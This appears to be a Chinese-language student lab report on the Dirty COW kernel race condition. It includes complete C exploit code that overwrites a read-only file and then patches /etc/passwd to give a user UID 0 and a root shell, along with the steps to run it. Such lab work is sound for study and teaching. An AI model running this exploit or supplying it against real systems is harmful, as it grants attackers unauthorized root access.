Dirty_COW_Attack_Lab

实验目的

  1、获得 Dirty COW 攻击的实践经验。

  2、了解攻击所利用的竞争条件漏洞。

  3、更深入地了解一般竞争条件安全问题。

实验原理

  利用 Dirty COW 竞争条件漏洞获得 root 权限。

实验环境

  Ubuntu 12.04 虚拟机。

实验任务

Task1

创建虚拟只读文件

  步骤:

  1、sudo touch /zzz指令在根目录下创建一个名为 zzz 的空文件。

  2、sudo chmod 644 /zzz指令将 zzz 文件的权限设置为 644,即如果未获得根目录权限则对 zzz 文件的权限为只读。

  3、sudo gedit /zzz指令用 gedit 编辑器打开 zzz 文件。

  4、在 gedit 编辑器中输入"SuperYzsisagoodman.",保存并关闭。

  5、ls -l /zzz指令查看 zzz 文件的权限,显示为-rw-r--r--,即文件所有者的权限为读写,同组用户和其他用户的权限为只读。

  6、echo 99999 > /zzz 指令将 99999 写入 zzz 文件,显示为Permission denied,即无权限。

创建虚拟只读文件

发起攻击

  步骤:

  1、gedit cow_attack.c 创建一个名为 cow_attack.c 的 C 语言文件并使用 gedit 编辑器打开,编写攻击代码:

  main 线程将/zzz 映射到内存中,找到序列"SuperYzs"的位置,然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);

// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

// Find the position of the target area
char *position = strstr(map, "SuperYzs");

// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

  下面 write 线程的任务是将内存中的字符串"SuperYzs"替换为"********"。由于映射的内存是 COW 类型,只有这个线程时仅能修改映射内存的副本,不会对底层的/zzz 文件进行任何更改。

1
2
3
4
5
6
7
8
9
10
11
12
13
void *writeThread(void *arg)
{
char *content= "********";
off_t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}

  madvise 线程只执行一项任务:丢弃映射内存的私有副本,以便页表可以重新指向原始映射内存。

1
2
3
4
5
6
7
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}

  2、gcc cow_attack.c -lpthread 指令使用多线程编译指令-lpthread编译 cow_attack.c 文件,使用 ls 指令发现生成了a.out文件。

  3、./a.out 指令运行 a.out 文件,等待一顿时间后退出程序。

  4、cat /zzz 指令查看 zzz 文件,发现文件内容已经被修改 "********isagoodman",即"SuperYzs已被替换为"********",攻击成功。

攻击步骤

Task 2: 修改口令文件以获取 Root 权限

  步骤:

  1、使用sudo adduser charlie指令创建一个名为 charlie 的用户。

  2、使用cat /etc/passwd | grep charlie查看charlie的记录。

  3、使用gedit cow_attack.c 指令将cow_attack.c文件使用 gedit 编辑器打开,修改代码达到攻击目的:即找到/etc/passwd文件中的charlie记录,将其第三个字段改为0,注意改完之后的字段总长度与之前相同,不足的部分使用","补齐。

  4、使用gcc cow_attack.c -lpthread指令编译 cow_attack.c 文件,使用./a.out指令运行 a.out 文件,等待一顿时间后退出程序。

  5、再次使用cat /etc/passwd | grep charlie查看charlie的记录,发现第三个字符已经改为0了,即charlie已经具有了root权限。

  6、使用su charlie 切换到 charlie 用户,在 shell 提示符处看到 # 符号,这是 rootshell 的指示符。运行 id 命令,发现已经获得了 root 权限,攻击成功。

创建charlie用户

Dirty COW 攻击

思考题

Q1

  会打印出字符串"World"。 当这个文件使用 mmap() 映射到内存(整个文件)时,每个字符都会被存储在连续的内存地址中,内存地址被存储在一个变量map 中,其中map指向映射内存的起始地址,也就是字符串"Hello World"的'H'的地址。map + 6则是指向'W'的地址,因此printf("%s\n", map + 6);将从地址map + 6开始打印,直到遇到一个null字符(字符串结束标志),因此会打印出字符串"World"。

Q2

  不可以。因为线程共享相同的地址空间,因此可以更容易地制造出Dirty-Cow攻击的必要条件;而进程则拥有独立的内存空间,使得攻击难以进行。

代码附录

Task1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);

// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

// Find the position of the target area
char *position = strstr(map, "SuperYzs");

// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

void *writeThread(void *arg)
{
char *content= "********";
off_t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}

void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}

Task2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

// Open the target file in the read-only mode.
int f=open("/etc/passwd", O_RDONLY);

// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

// Find the position of the target area
char *position = strstr(map, "charlie");

// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

void *writeThread(void *arg)
{
char *content="charlie:x:0:1002:,,,,,,,:/home/charlie:/bin/bash" ;
off_t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}

void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}